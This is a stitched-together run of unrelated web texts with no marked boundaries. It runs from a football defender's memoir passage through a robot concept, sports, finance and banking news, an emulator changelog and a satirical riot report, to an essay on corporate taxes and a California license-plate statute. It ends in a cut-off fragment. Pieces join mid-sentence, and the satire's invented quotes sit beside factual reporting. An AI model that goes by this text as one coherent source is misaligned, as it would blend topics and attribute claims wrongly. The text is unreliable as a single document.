boots. I had posters of Maradona on the walls of my bedroom — our Neapolitan deity. Now, in my hands, were his shoes, muddy from the day’s work. And that was the second thing I learned: To become a great defender, you have to play against the greatest in the world. And the one ingredient you need? It’s not height, or speed or even ball skills. You must have confidence. I’m not sure where I got that sense of confidence, but it was certainly there on the day I tackled Maradona. And I tried to build upon it for the rest of my career. At Napoli, at Parma, at Inter Milan, at Juventus. Honestly, it wasn’t until July 9, 2006 that I truly felt confident as a defender … when I lifted up the World Cup and reporters yelled out to us: “Campioni del mondo! Campioni del mondo! Campioni del mondo! Campioni del mondo!” Alex Livesey/Getty Images As a defender, you can be many shapes and sizes. You can be short and fast. Or you can be tall and jump high. It doesn’t matter. The only necessity is that you are confident when you take the pitch — because every week there is a new challenge. It’s only through those challenges that you will find your confidence. It started for me on that day against Maradona, and continued every day on the pitch after. Even today, standing on the side of the field, I work to strengthen my confidence as a manager. So, rather than discuss my moments of success, I want to talk about the moments, the opponents and teammates who challenged me the most. It was because of them that I was able to build my confidence. More than anyone I faced before him, and anyone I faced after him, Ronaldo was always, always, the one player who stirred fear in me. He is the player of our generation. The phenomenon. The Ronaldo. The first time I played against Ronaldo was in a Brazil-Italy friendly in France before the 1998 World Cup. Even just walking onto the same pitch as him terrified me. We drew that match 3–3, and afterward I had a meeting with our coach, Cesare Maldini. “Fabio, you know, a lot of people talk about how incredible Ronaldo is, how he is a very, very good player.” I just nodded as he continued. “And I can say, after watching him play against you, that yes, Ronaldo, is very, very good.” Classic Maldini. “Thanks, Coach.” Ben Radford /Allsport Ronaldo was a player who you didn’t necessarily defend, but instead you hoped to limit and contain as much as you could. Because if Ronaldo wanted to score, he would score. Of course, Brazil also had Romário, Roberto Carlos, Ronaldinho. But, Ronaldo? He was just … different. He was fast. He was strong. He was unbelievable. And every time I played him there was always respect. A player like him didn’t need to trash talk, and there was no point in trying to get inside his head. He was already in yours before the whistle even blew. I don’t think that the fear I had of him ever went away. But out of that fear came respect. And the way you respect a player like Ronaldo is to train, every day, as hard as you can. When I showed up to the pitch, I knew I put all the time I could. Was I scared? Sure. But you respect the game and the player by not letting it show on the field. Through Ronaldo, I learned how to handle fear on the pitch. If Ronaldo had toughness on the pitch, then what Zidane had was elegance. He was the gentleman of the pitch. I’m certain his feet had to touch the ground at some point, but the way he moved, it was almost as if he was floating through air. His turns and dodges weren’t just athletic — they were more like ballet. There was this lightness to the way he’d weave between players. It was beautiful to watch him play and it brings me happiness that I got to play against him. I played Zidane throughout my career, and for many players you reach a point where you learn lessons on how to handle them. But from the first match I played against him to the last, Zidane would find different ways to beat me. Like Ronaldo, you could only try to be prepared for Zidane. Like I said, I took my job very seriously. I trained hard so that when I did go up against Zidane, I gave myself as much of a chance of stopping him as possible. Eddy LEMAISTRE/Corbis via Getty Images In 2006, we played France in the World Cup final and Zidane scored the first goal of the match. It was on a penalty, but our back line was a little on its heels afterwards. We were five minutes into the match and he just chipped it in. It just floated and I remember watching as it hit the top goal post. We all hoped it hadn’t gone in, but as Zidane turned back around, that was it. We were scared. And as captain, I knew I had to get us concentrating again. But that’s what Zidane could do. Even when he wasn’t necessarily getting past your defense, he could still leave you rattled. You just felt his presence on the field. The calmness and creativity seemed to extend from his body and into the ball. That is, until he would lose his cool. And even Zidane had those moments. But here is where I learned another lesson: Leadership on the pitch. I knew my job was just not only to stop the ball or set up our midfield and strikers, but it was also to keep us focused — even when trailing in the most important match of our lives. “We can do this,” I said, looking around to my teammates. “This is ours.” And luckily for us, a little more than ten minutes later, Marco Materazzi scored with a header. You could just feel us get a little more relaxed. We were right back in it. Until we went to PKs, that is. My heart would stop and restart each time someone stepped up to the ball. When Fabio Grosso sealed our victory, I couldn’t hear anything. I couldn’t believe it. Campioni del mondo. I got more than just the trophy at the end of that match. For the first time, I thought I knew what I was doing back there. And that’s because of Italy’s defensive organization. Whether you play as an individual or as a team depends on who is alongside you on the pitch. And throughout that tournament, we really were a collective group. And, we were the best. But not just on defense. light Like I said, a lot of people only think about defense when they think of Italian football. And this is wrong in my mind. We have some of the greatest strikers to ever play the game. We have some of the greatest midfielders. Yet a lot of people think we won the 2006 World Cup because of defense. We won that tournament because we beat everybody else. We can do our job on defense, but if we’re not scoring, we can’t win. A little obvious, maybe, but I don’t think our front line got enough credit for what they did. Of course, I preferred when we were on the same team, but to play against my Italian teammates Andrea Pirlo and Francesco Totti in club football was a very “happy” challenge. When I played against Totti, since he was a forward, we had the opportunity to talk more to each other on the field. If my goalkeeper was taking a kick, and we were standing around waiting for the action, we would joke about with one another. That was just normal for us. He’s a pretty funny guy. But Pirlo? He’s a got a different style. When the ball was with him, you had no idea what he was going to do. When he worked his way up the midfield, I was always locked in trying to anticipate his moves. Grazia Neri/Getty Images It was respect out there. We all understood we weren’t going to make things easy for each other. I knew they’d take any opportunity to blow by me for a goal, and they knew I wouldn’t hesitate to tackle them to the ground. The only friends you have on the field are the ten other guys wearing the same jersey as you. Other than that, all other friendships are left on the outside of the pitch. All the dinners we get before or after, they don’t matter. The trophies we’ve won together, they’ll still be there. But on the field, I’m at work and my job is to stop my good friends from scoring goals. Spain was, in a word, difficult. When I went to Real Madrid in 2006 it was the first time I had ever played outside of Italy. Moving to a new city was difficult, communicating with my teammates was difficult. It was probably one of the most challenging things I did in my career. The week leading up to a match in Italy is a little different than it is in Spain. It’s very regimented — the training is nonstop, and coaches are relentless. Lucky for me, our manager, Fabio Capello brought a little Italian football to Madrid. Nobody was more regimented than him. If practice started at 10 o’clock. He meant 10 o’clock. And not one minute afterwards. He helped my adjustment to life in Spain, but I also had to learn how to play like an individual. I was on a major club because of what I could do, and I was expected to do big things. But I also had to learn how the style of play of my new teammates and our new back line. I remember one of my first training sessions, when I gave a pass to Sergio Ramos. “Why you make a mistake?” Sergio asked me. “No mistake, I gave you the ball.” Everything was new. In Italy, we tend to pass to the space, but in Spain, they expect the ball right at their feet. “No, you need to give me a strong pass. And you need to give it at my feet.” I had a lot to learn, but when I got to Madrid I wasn’t 21 years old anymore. I had just won a World Cup. I had my confidence. I don’t know if I could have made that move as a young man. But after what Italy accomplished in 2006, I knew my game. And at Real Madrid, we went on to win La Liga two years in a row. And after you wear the Real Madrid shirt once, you are a part of that club forever. Liewig Christian/Corbis via Getty Images I’ve played plenty of matches where I thought I had left everything on the field. Given a game my all. But what I’ve come to realize since I retired and began coaching — 90 minutes on the field do not compare to life as a manager. I’ve worked to learn a whole new side of football. As manager of Tianjin Quanjian — now in the Chinese Super League — every day, every week, I have to give our players everything I have. I have to know what family problems someone might be dealing with, who is shy or may not be very vocal, and who I can push. Now try and do that with 25 different players through a Chinese translator. Getty Images So when I can’t communicate with words, I join my players in training to show them what I know or how I want them to do something. I need to
a few extra risks” with his grades by participating in so many extracurricular activities. But the risks, he said, were necessary. “Whenever you go somewhere,” he said, “you’re supposed to leave it better than when you came.” It’s a philosophy he carried with him to law school, where he had a déjà vu experience with people forgetting his age. At Rice, Wickliff often found himself hanging out with friends, not sure where they were headed, and ending up at a pub. “I’m like, ‘Y’all realize I’m 17, right? I can’t get in.’ ” It was the same thing at Harvard, except he was 19. Classmates kept inviting him to meet up at local pubs and assumed he was being antisocial when he turned them down. “People would think ‘I can’t come’ meant I was busy studying,” he said. “It never dawned on me that people didn’t realize how much younger than them I was.” Akilah Johnson can be reached at ajohnson@globe.com or on Twitter @akjohnson1922The concept Roko is a biomimetic robot inspired by monkeys that’s meant to transport small packages like first aid kits in remote, densely forested areas. It uses sensors like sonar to detect its environment and has extendable arms with hook-grip hands to swing from branch to branch. It is powered by a hydrogen fuel cell and servomotors move its limbs. Renderings provided by Charles Bombardier The background Recently I met with Canadian photographer/filmmaker Gregory Colbert at the World Summit on Innovation and Entrepreneurship in New York. A short clip of Colbert interacting with a chimpanzee in the Rainforest gave me the idea of creating a biomimetic robot resembling a chimpanzee capable of delivering small packages, like spare parts, instruments, or first aid kits. How it works The Roko would be an autonomous robotic chimpanzee programmed to reach coordinates by moving through trees and branches. It would need two navigation systems: one for long-distance navigation to its target and one for short-distance navigation through the forest. Long-distance navigation could be achieved using a GPS system. The user would program coordinates for the destination and the drone would follow the shortest and safest route possible. Short-distance navigation could be achieved with sonar to detect potential grip points for its hook hands. An internal microprocessor and sensors would allow for real-time calculations of the robot’s movements and position. The Roko would also be able to see—it would have night vision and infrared cameras, so it would be able to detect animals or humans and follow them if necessary. The Roko would have small compartments to carry packages on its back or hold them in its hooked feet. You would be able to give it voice commands based on speech-to-action technology developed by Fluent.AI. This means that a photographer/filmmaker like Gregory Colbert could train the Roko to help him out during his adventures, and scientists or explorers could also use the Roko to look out for predators at night or monitor wildlife. The body of the robot could be covered with artificial fur, and its movement could mimic that of other chimpanzees, which it could also learn by watching during its trips. What it's used for Some areas of the world, like dense tropical rainforests, are hard to access, even with motorcycles or flying drones. Bringing supplies to camps can be tricky and costly, especially if you plan on using a helicopter or a drone and operator. The Roko (or a variation of it) could be an ideal choice because it is small in size and its biomimetic appearance makes it stealthy, and it won’t disturb wildlife as much as a helicopter or drone. It could also help hikers in need who can’t be reached easily by rescuers. The designer The Roko biomimetic chimpanzee-robot was developed in collaboration with Kaan Yaylali, an Industrial Designer from Savannah, Georgia, USA. Yaylali graduated with a degree in design from the Savannah College of Art and Design. He currently works as Freelance designer at Astraunot Ape.The Ravens added a top-flight talent in Colorado cornerback Jimmy Smith, but it wasn’t at the 26th position where they originally entered the first round of the NFL Draft. ESPN’s Adam Schefter reported that the Ravens had a trade working with the Chicago Bears to move back to No. 29, but the Bears never talked to the league and time ran out on Baltimore. Draft Profile: Jimmy Smith Right Click for Full Screen Option That allowed the Kansas City Chiefs to leapfrog the Ravens to the 26th position and select Pittsburgh wideout Jonathan Baldwin, pushing Baltimore down one spot. The Ravens had a player ready to pick as the clock wound down – Smith – but the Chiefs just slid theirs in first. Still, Smith was one of the most-coveted cornerbacks in the draft, probably the third-best at his position talent-wise, but with some character concerns that might have caused him to drop. At 6-foot-2, 211 pounds, Smith has incredible size for a corner, especially one that ran a 4.37-second 40-yard dash at the NFL Scouting Combine. Smith also benched 225 pounds 24 times and posted a 36-inch vertical leap. And Smith’s playmaking ability is undeniable. The former Buffalo logged 183 tackles and 16 pass deflections through his four-year career. As a junior and senior, Smith only allowed 11 completions in man-to-man coverage, according to NFLDraftScout.com. The issues surrounding Smith revolve around admitted minor-in-possession tickets and a positive marijuana test while at CU. If any team could set Smith on the straight and narrow, however, it would be the Ravens, who boast a locker room filled with respected leaders like Ray Lewis and Ed Reed. Smith should help bolster a Ravens cornerback group that only logged five interceptions last season, led by Josh Wilson’s three.FBR's Barton Crockett sees "potential for large checks from Netflix" and "positive tracking" for the upcoming sequel, adding the stock to his firm's list of top picks. FBR & Co. analyst Barton Crockett on Tuesday upgraded his rating on the stock of DreamWorks Animation, citing near-term upside from the upcoming release of Kung Fu Panda 3 and recent deals with Netflix. He upgraded the stock to "outperform" with a $29 price target and placed it on FBR's list of top stock picks. "Near-term there are potential catalysts that are likely to move the shares up," wrote Crockett. "In particular, we see potential for large checks from Netflix for movie catalog rights and expanded TV production and positive tracking for Kung Fu Panda 3, due out Jan. 29." Crockett cited Box Office Analyst as saying tracking for Kung Fu Panda 3 is stronger than it was for Inside Out at the same point before its opening, predicting a total domestic run in the $185 million-$200 million range. Panda 3 "has no meaningful new animated movies to compete with in February and a prime spot in Chinese theaters heading into Chinese New Year, helped by a co-production relationship with affiliates of the Chinese government," the analyst explained. He also lauded a recent global Netflix TV deal. "Terms were not disclosed, but Netflix basically gains global rights in 180 countries to the first-run TV shows Netflix was obtaining from DWA in 40 countries," wrote Crockett. "Netflix also gains second-window rights to these shows. The contract appears supportive of our view that TV segment revenues can rise 50 percent in 2016 and argues for growth in 2017 and rising margins." Plus, a Netflix DWA film catalog deal also will have financial benefits, he highlighted. "The Netflix fees for the initial library could be recognized at once, potentially in the fourth quarter, as the contract was probably signed in late December and the movies made available to Netflix then, before the early-January press release," the analyst wrote. "We assume that Netflix pays a license fee in the high tens of millions of dollars, with high contribution margins since film production costs are already amortized, driving total film library revenues to near $100 million in the fourth quarter." The Netflix deal assumptions drove Crockett's fourth-quarter earnings forecast to $1.04 per share, "well above consensus."State-owned AIB is offering German savers an interest rate that is more than three times that offered to Irish customers. The Irish bank has joined 11 other European banks targeting the pan-European deposit market, leading to its new offer to German savers. AIB, which is 99 per cent owned by the State, is offering 12-month fixed-term deposits through the German online start-up SavingsGlobal, at a rate of 1.4 per cent. Its best comparable rate on the Irish market is just 0.45 per cent, while AIB subsidiary EBS pays a rate of just 0.7 per cent on 12-month deposits. This means that over two years someone depositing €50,000 through the German website would earn €1,418 in interest, compared with just €452 if they saved with AIB in Ireland. To avail of the higher 1.4 per cent rate, savers must be “resident in the Federal Republic of Germany and not a resident of Ireland”, the website says. German deposits German savers with AIB are protected under Ireland’s deposit insurance scheme, which protects up to €100,000 per person per institution. AIB joined SavingsGlobal last May and says that while the initiative “represents a fraction of a percentage of our overall deposit base” it helps the bank diversify its funding base. “It gives us the potential to create a diversified and sustainable retail deposit funding base if required in the future that would make us more resilient to economic shocks and reduce our dependence on other sources of funding,” a spokeswoman for the bank said. SavingsGlobal, which was founded by alumni from McKinsey, Deutsche Banke and Goldman Sachs, acts like a broker to European banks, removing the difficulties in cross-border deposits such as language obstacles, by funnelling deposits on behalf of consumers to partner banks. It also opens up new opportunities for savers. AIB is one of 12 European banks which have signed up to the platform so far. Others include the Bulgarian American Credit Bank, Portuguese bank Novo Banco and German bank Grenke. English-speaking platform The new platform will allow savers across Europe, including Ireland, to access deposit rates of as much as 1.6 per cent on a one-year term deposit, or 2 per cent a year for those willing to lock their money away for three years. The best equivalent rate on a one-year deposit in Ireland at present is 1.15 per cent with Nationwide UK, or 1.2 per cent a year over two years with KBC Bank, according to the Competition and Consumer Protection Commission.After many months of delays mGBA 0.6.0 is finally available. This is a major feature release. Some of the more prominent features include a library view, translations to German, Spanish and Italian, and many new debugging features. A full list of changes follows after the cut. Changes from 0.5.2 Features Library view Sprite viewer Debugging console Improved memory viewer Memory search Command line ability to override configuration values Add option to allow preloading the entire ROM before running Add option for whether rewinding restores save games Savestates now contain any RTC override data Add option to lock video to integer scaling LR35902: Watchpoints LR35902/GB-Z80 disassembler GB: Tile viewer GB: Video/audio channel enabling/disabling GB: Symbol table support GB MBC: Add MBC1 multicart support GBA: Support printing debug strings from inside a game GBA: Better cheat type autodetection Implement keypad interrupts Configuration of gamepad hats Video log recording for testing and bug reporting Debugger: Segment/bank support Debugger: Execution tracing Partial Python scripting support Qt: German translation (by Lothar Serra Mari) Qt: Spanish translation (by Kevin López) Qt: Italian translation (by theheroGAC) Bugfixes ARM7: Fix MLA/MULL/MLAL timing Core: Fix crash with rewind if savestates shrink Core: Fix interrupting a thread while on the thread (fixes #692) Core: Fix directory sets crashing on close if base isn’t properly detached FFmpeg: Fix overflow and general issues with audio encoding GB: Fix flickering when screen is strobed quickly GB: Fix STAT blocking GB MBC: Fix ROM bank overflows getting set to bank 0 GB MBC: Fix swapping carts not detect new MBC GB Timer: Improve DIV reset behavior GB Timer: Fix DIV batching if TAC changes GB Video: Reset renderer when loading state GBA: Fix multiboot ROM loading GBA: Fix multiboot loading resulting in too small WRAM GBA BIOS: Implement BitUnPack GBA BIOS: Fix ArcTan sign in HLE BIOS GBA BIOS: Fix ArcTan2 sign in HLE BIOS (fixes #689) GBA BIOS: Fix INT_MIN/-1 crash GBA Hardware: Fix crash if a savestate lies about game hardware GBA I/O: Handle audio registers specially when deserializing GBA Memory: Improve initial skipped BIOS state GBA Savedata: Fix savedata unmasking (fixes #441) GBA Savedata: Update and fix Sharkport importing (fixes #658) GBA Video: Fix wrong palette on 256-color sprites in OBJWIN GBA Video: Don’t update background scanline params in mode 0 (fixes #377) Libretro: Fix saving in GB games (fixes #486) LR35902: Fix core never exiting with certain event patterns LR35902: Fix pc overflowing current region off-by-one LR35902: Fix decoding LD r, $imm and 0-valued immediates (fixes #735) OpenGL: Fix some shaders causing offset graphics GB Timer: Fix sub-M-cycle DIV reset timing and edge triggering Qt: Fix timing issues on high refresh rate monitors Qt: Fix linking after some windows have been closed Qt: Fix crash when changing audio settings after a game is closed Qt: Ensure CLI backend is attached when submitting commands (fixes #662) Qt: Disable “New multiplayer window” when MAX_GBAS is reached (fixes #107) Qt: Fix game unpausing after frame advancing and refocusing SDL: Fix game crash check SDL: Fix race condition with audio thread when starting SDL: Fix showing version number Test: Fix crash when loading invalid file Test: Fix crash when fuzzing fails to load a file Test: Don’t rely on core for frames elapsed Test: Fix crash when loading invalid file Test: Fix crash when fuzzing fails to load a file Tools: Fix recurring multiple times over the same library Util: Fix overflow when loading invalid UPS patches Util: Fix highest-fd socket not being returned by SocketAccept Windows: Fix VDir.rewind Miscellaneous All: Add C++ header guards All: Move time.h include to common.h 3DS, PSP2, Wii: Last directory loaded is saved CMake: Add ability to just print version string Core: New, faster event timing subsystem Core: Clean up some thread state checks Core: Add generic checksum function Core: Cores can now have multiple sets of callbacks Core: Restore sleep callback Core: Move rewind diffing to its own thread Core: Ability to enumerate and modify video and audio channels Core: List memory segments in the core Core: Move savestate creation time to extdata Core: Config values can now be hexadecimal Core: Improved threading interrupted detection Debugger: Modularize CLI debugger Debugger: Make building with debugging aspects optional Debugger: Add functions for read- or write-only watchpoints Debugger: Make attaching a backend idempotent Debugger: Add mDebuggerRunFrame convenience function Feature: Move game database from flatfile to SQLite3 Feature: Support ImageMagick 7 Feature: Make -l option explicit FFmpeg: Return false if a file fails to open FFmpeg: Force MP4 files to YUV420P GB: Trust ROM header for number of SRAM banks (fixes #726) GB: Reset with initial state of DIV register GB MBC: New MBC7 implementation GB Audio: Simplify envelope code GB Audio: Improve initial envelope samples GB Audio: Start implementing “zombie” audio (fixes #389) GB Video: Improved video timings GBA: Ignore invalid opcodes used by the Wii U VC emulator GBA, GB: ROM is now unloaded if a patch is applied GBA DMA: Refactor DMA out of memory.c GBA DMA: Move DMAs to using absolute timing GBA I/O: Clear JOYSTAT RECV flag when reading JOY_RECV registers GBA I/O: Set JOYSTAT TRANS flag when writing JOY_TRANS registers GBA Memory: Support for Mo Jie Qi Bing by Vast Fame (taizou) GBA Memory: Support reading/writing POSTFLG GBA Memory: Remove unused prefetch cruft GBA Timer: Improve accuracy of timers GBA Video: Clean up unused timers GBA Video: Allow multiple handles into the same tile cache GBA Video, GB Video: Colors are now fully scaled GBA Video: Optimize when BLD* registers are written frequently OpenGL: Add xBR-lv2 shader Qt: Move last directory setting from qt.ini to config.ini Qt: Improved HiDPI support Qt: Expose configuration directory Qt: Merge “Save” and “OK” buttons in shader options Qt: Automatically load controller profile when plugged in Qt: Rename “Resample video” option to “Bilinear filtering” Qt: Remove audio thread Qt: Remove audio buffer sizing in AudioProcessorQt Qt: Re-enable QtMultimedia on Windows Qt: Make “Mute” able to be bound to a key Qt: Add.gb/.gbc files to the extension list in Info.plist Qt: Relax hard dependency on OpenGL Qt: Better highlight active key in control binding SDL: Remove scancode key input SDL: Automatically map controllers when plugged in Test: Add a basic test suite Util: Add size counting to Table Util: Add 8-bit PNG write support Util: Tune patch-fast extent sizes VFS: Call msync when syncing mapped data VFS: Allow truncating memory chunk VFiles VFS: Fix some minor VFile issues with FILEs VFS: Optimize expanding in-memory files VFS: Add VFileFIFO for operating on circle buffers Changes from 0.6 beta 1 Features Qt: Italian translation (by theheroGAC) Qt: Updated German translation Bugfixes Core: Fix rewinding getting out of sync (fixes #791) GB Audio: Fix incorrect channel 4 iteration GB Audio: Fix zombie mode bit masking GB Serialize: Fix timer serialization GB Video: Fix LYC regression GBA SIO: Improve SIO Normal dummy driver (fixes #520) GBA Timer: Fix count-up timing overflowing timer 3 PSP2: Use custom localtime_r since newlib version is broken (fixes #560) Qt: Fix memory search close button (fixes #769) Qt: Fix window icon being stretched Qt: Fix initial window size (fixes #766) Qt: Fix data directory path Qt: Fix controls not saving on non-SDL builds Qt: Fix translation initialization (fixes #776) Qt: Fix patch loading while a game is running Qt: Fix shader selector on Ubuntu (fixes #767) Qt: Fix GL-less build Qt: Fix Software renderer not handling alpha bits properly Qt: Fix screen background improperly stretching SDL: Fix cheats not loading Miscellaneous GB Serialize: Add MBC state serialization GBA Memory: Call crash callbacks regardless of if hard crash is enabled GBA Timer: Improve accuracy of timers PSP2: Update toolchain to use vita.cmake Qt: Add language selector Qt: Minor text fixes Qt: Move shader settings into main settings window Qt: Dismiss game crashing/failing dialogs when a new game loads Qt: Properly ship Qt translations SDL: Remove writing back obtained samples (fixes #768) Downloads Get it now in the Downloads section. Binaries are available for Windows, Ubuntu, macOS, Nintendo 3DS, Wii, and PlayStation Vita, and the source code is available for all other platforms. If you enjoy using mGBA and wish to give back, there is a list of ways to donate on the donations page, including an mGBA Patreon.Share 0 SHARES JOYOUS celebrations carried out by some members of the Loyalist community in Northern Ireland have left many feeling more British than ever, WWN can reveal. As part of the annual Orange Order parades, a minority of the Unionist community asserted their allegiance to Britain by having a great big riot, bringing them one step closer to a euphoric state of Britishness. Clashes with PSNI officers saw 24 members of the police service injured with one officer requiring 12 stitches in his hand after one proud Briton savagely bit his finger. “You know, it wasn’t until I sank my teeth into his flesh that I started to really feel quite British,” explained the man who carried out the attack, “we have a unique culture and it needs to be protected, but I don’t think people can argue with it really, like, I’m absolutely buzzing with Britishness right now”. Far from dismissing the idiotic displays of violence and civil disturbances that also saw a 16-year-old girl struck by a car, officials in Northern Ireland have reluctantly accepted last night’s violence. “Well, look, it’s simple. We can’t dismiss the studies conducted last year by leading scientists that said marching around, burning pallets and fighting police actually released a special, naturally occurring chemical in the Unionist brain,” explained PSNI Sargeant William Boyle. “After a good bonfire and a punch or two at my office, the perpetrators began speaking like Boris Johnson and sat down to tea and crumpets. It really has enhanced their Britishness to strawberries and cream at Wimbledon levels of quaint Britishness,” Boyle added. It is expected that the Queen will ring everyone one of the rioters individually later today to thank them for their display of loyalty.The distorted belief that wealthy individuals and corporations are job creators has led to sizeable business subsidies and tax breaks. The biggest giveaway is often overlooked: corporations use our nation's plentiful resources, largely at no cost, to build their profits. There are several factual and well-established reasons why corporations owe a great debt to the nation that has made them rich. Advertisement: Our Tax Money Pays for Much of the Research The majority (57 percent) of basic research, the essential startup work for products that don't yet yield profits, is paid for by our tax dollars. When ALL forms of research are included -- basic, applied, and developmental -- approximately 30 percentcomes from public money. In 2009 universities were still receiving ten times more science & engineering funding from government than from industry. All of our technology, securities trading, medicine, infrastructure, and national security have their roots in public research and development. For a pageful of details look here. Even the business-minded The Economist, with reference to Mariana Mazzucato's book The Entrepreneurial State, admits that "Ms Mazzucato is right to argue that the state has played a central role in producing game-changing breakthroughs, and that its contribution to the success of technology-based businesses should not be underestimated." Fewer and Fewer People are Reaping the Benefits of Our National Productivity Corporate profits are at their highest level in 85 years, doubling in the last ten years, and growing by 171 percent in the first half of the Obama presidency. Advertisement: Despite a continuing growth in productivity in the last 35 years, wages have fallen dramatically, and technology has begun to diminish the need for warehouse workers, bank tellers, cashiers, travel agents, and a host of other middle-income positions. The driverless car and robot delivery devices are on the horizon. The Economist opines again, this time in worker-unfriendly terms: "Robots don’t complain, or demand higher wages, or kill themselves." Robert Reich notes that much of the photo processing once done by Kodak with 145,000 employees is now done by Instagram with 13 employees. The messaging application WhatsApp, recently purchased by Facebook, has 55 employees serving 450 million customers. Profit-taking has another insidious and predatory side to it. Big firms use intellectual property law (another gift from the taxpayers) to snatch up patents on any new money-making products, no matter how much government- and university-funded research went into it. An example is genetically engineered insulin, which due to patent protection cannot be made generically, and as a result can cost a patient up to $5,000 a year, about ten times more than a patent-expired version. Another example, as detailed by Sam Pizzigati, is the cost of new cancer drugs, which can reach $120,000 per year for many patients. Following the lead of the pharmaceutical industry, Big Tech is now getting into the act. By 2011 Apple and Google were spending more on patent purchases and patent lawsuits than on research and development. Advertisement: Corporations Use Our Resources but Avoid Their Taxes Stunningly, over half of U.S. corporate foreign profits are now being held in tax havens, double the share of just twenty years ago. Yet for some of our largest corporations, according to the Wall Street Journal, over 75 percent of the cash owned by their foreign subsidiaries remains in U.S. banks, "held in U.S. dollars or parked in U.S. government and corporate securities." The nature and degree of tax avoidance by some of our most resource-demanding companies is nearly beyond belief. Apple, which still does most of its product and research development in the United States, moved $30 billion in profits to an Irish subsidiary with no employees. Google, whose business is based on the Internet, the Digital Library Initiative, and the geographical database of the U.S. Census Bureau, has gained recognition as one of the world's biggest tax avoiders. Walgreens (which later backed down), Burger King, and Medtronic are the biggest names in the so-called inversions that allow companies to desert the country that made them successful. Microsoft and Pfizer owe a combined $50 billion in taxes on profits being held overseas. Much-admired Warren Buffett heads a company (Berkshire Hathaway) that made a $28 billion profit last year, yet claimed a $395 million tax refund. Advertisement: Corporations Have Stopped Investing in America An Apple executive recently said, "The U.S. has stopped producing people with the skills we need." But corporations are spending most of their profits on themselves, rather than on job-creating research and innovation. An incredible 95 percent of S&P 500 profits were spent on investor-enriching stock buybacks and dividend payouts last year. In 1981, major corporations were spending less than 3 percent of their combined net income on buybacks. According to one estimate, public U.S. corporations have spent $6.9 trillion on stock buybacks in the past ten years, about six times more than the total student loan debt of $1.16 trillion. Advertisement: Buybacks are not only a reflection of corporate greed, but possibly also of criminal behavior. Buying back stock was considered a form of illegal stock manipulation until the Wall-Street-connected chairman of the SEC made it 'legal' during the Reagan administration. A Progressive Solution: Dividends for All In his book, With Liberty and Dividends For All, Peter Barnes argues for a system of dividends to all Americans for our co-owned national wealth. Because corporations have used our resources -- research, infrastructure, environment, educational and legal systems -- to develop technologies that are gradually reducing the need for human involvement, and because all of us have contributed to our national productivity, either directly or through our parents and grandparents, we all deserve to benefit. As Barnes states, "The sum of wealth created by nature, our ancestors, and our economy as a whole is what I here call co-owned wealth. Some, including myself, have called it shared wealth, the commons, or common wealth. Whatever we call it, it's the goose that lays almost all the eggs of private wealth." Advertisement: Precedent exists in the successful and widely popular Alaska Permanent Fund. With a nationwide version of this Fund, all of us -- rich and poor alike -- would receive a share of our co-owned wealth, perhaps up to $5,000 per year, according to Barnes. The revenue would come from a carbon tax and/or a financial speculation tax and/or a redirection of corporate profits away from executive-enriching stock buybacks. The dividend concept is fair, manageable, and based on precedent. It's also good business. The shrinking middle class will have money to spend, and the money they spend will end up as a new source of income for the profit-hungry corporate world.5201. (a) License plates shall at all times be securely fastened to the vehicle for which they are issued so as to prevent the plates from swinging, shall be mounted in a position so as to be clearly visible, and so that the characters are upright and display from left to right, and shall be maintained in a condition so as to be clearly legible. The rear license plate shall be mounted not less than 12 inches nor more than 60 inches from the ground, and the front license plate shall be mounted not more than 60 inches from the ground, except as follows: (1) The rear license plate on a tow truck or repossessor’s tow vehicle may be mounted on the left-hand side of the mast assembly at the rear of the cab of the vehicle, not less than 12 inches nor more than 90 inches from the ground. (2) The rear license plate on a tank vehicle hauling hazardous waste, as defined in Section 25117 of the Health and Safety Code, or asphalt material may be mounted not less than 12 inches nor more than 90 inches from the ground. (3) The rear license plate on a truck tractor may be mounted at the rear of the cab of the vehicle, but not less than 12 inches nor more than 90 inches from the ground. (4) The rear license plate of a vehicle designed by the manufacturer for the collection and transportation of garbage, rubbish, or refuse that is used regularly for the collection and transportation of that material by a person or governmental entity employed to collect, transport, and dispose of garbage, rubbish, or refuse may be mounted not less than 12 inches nor more than 90 inches from the ground. (5) The rear license plate on a two-axle livestock trailer may be mounted 12 inches or more, but not more than 90 inches, from the ground. (6) (A) The rear license plate on a dump bed motortruck equipped with a trailing, load bearing swing axle shall be mounted more than 12 inches, but not more than 107 inches, from the ground. (B) As used in this section, a trailing, load bearing swing axle is an axle which can be moved from a raised position to a position behind the vehicle that allows for the transfer of a portion of the weight of the vehicle and load to the trailing axle. (b) A covering shall not be used on license plates except as follows: (1) The installation of a cover over a lawfully parked vehicle to protect it from the weather and the elements, or the installation of a partial cover, cover over the license plate of a lawfully parked vehicle, does not constitute a violation of this subdivision. A peace officer or other regularly salaried employee of a public agency designated to enforce laws, including local ordinances, relating to the parking of vehicles may temporarily remove so much of the cover as is necessary to inspect any license plate, tab, or indicia of registration on a vehicle. (2) The installation of a license plate security cover is not a violation of this subdivision if the device does not obstruct or impair the recognition of the license plate information, including, but not limited to, the issuing state, license plate number, and registration tabs, and the cover is limited to the area directly over the top of the registration tabs. No portion of a license plate security cover shall rest over the license plate number. (c) A casing, shield, frame, border, product, or other device that obstructs or impairs the reading or recognition of a license plate by an electronic device operated by state or local law enforcement, an electronic device operated in connection with a toll road, high-occupancy toll lane, toll bridge, or other toll facility, or a remote emission sensing device, as specified in Sections 44081 and 44081.6 of the Health and Safety Code, shall not be installed on, or affixed to, a vehicle. (d) (1) It is the intent of the Legislature that an accommodation be made to persons with disabilities and to those persons who regularly transport persons with disabilities, to allow the removal and relocation of wheelchair lifts and wheelchair carriers without the necessity of removing and reattaching the vehicle’s rear license plate. Therefore, it is not a violation of this section if the reading or recognition of a rear license plate is obstructed or impaired by a wheelchair lift or wheelchair carrier and all of the following requirements are met: (A) The owner of the vehicle has been issued a special identification license plate pursuant to Section 5007, or the person using the wheelchair that is carried on the vehicle has been issued a distinguishing placard under Section 22511.55. (B) (i) The operator of the vehicle displays a decal, designed and issued by the department, that contains the license plate number assigned to the vehicle transporting the wheelchair. (ii) The decal is displayed on the rear window of the vehicle, in a location determined by the department, in consultation with the Department of the California Highway Patrol, so as to be clearly visible to law enforcement. (2) Notwithstanding any other law, if a decal is displayed pursuant to this subdivision, the requirements of this code that require the illumination of the license plate and the license plate number do not apply. (3) The department shall adopt regulations governing the procedures for accepting and approving applications for decals, and issuing decals, authorized by this subdivision. (4) This subdivision does not apply to a front license plate. (e) This section shall remain in effect only until January 1, 2019, and as of that date is repealed, unless a later enacted statute, that is enacted before January 1, 2019, deletes or extends that date.Rick Santorum, following the news that he fell 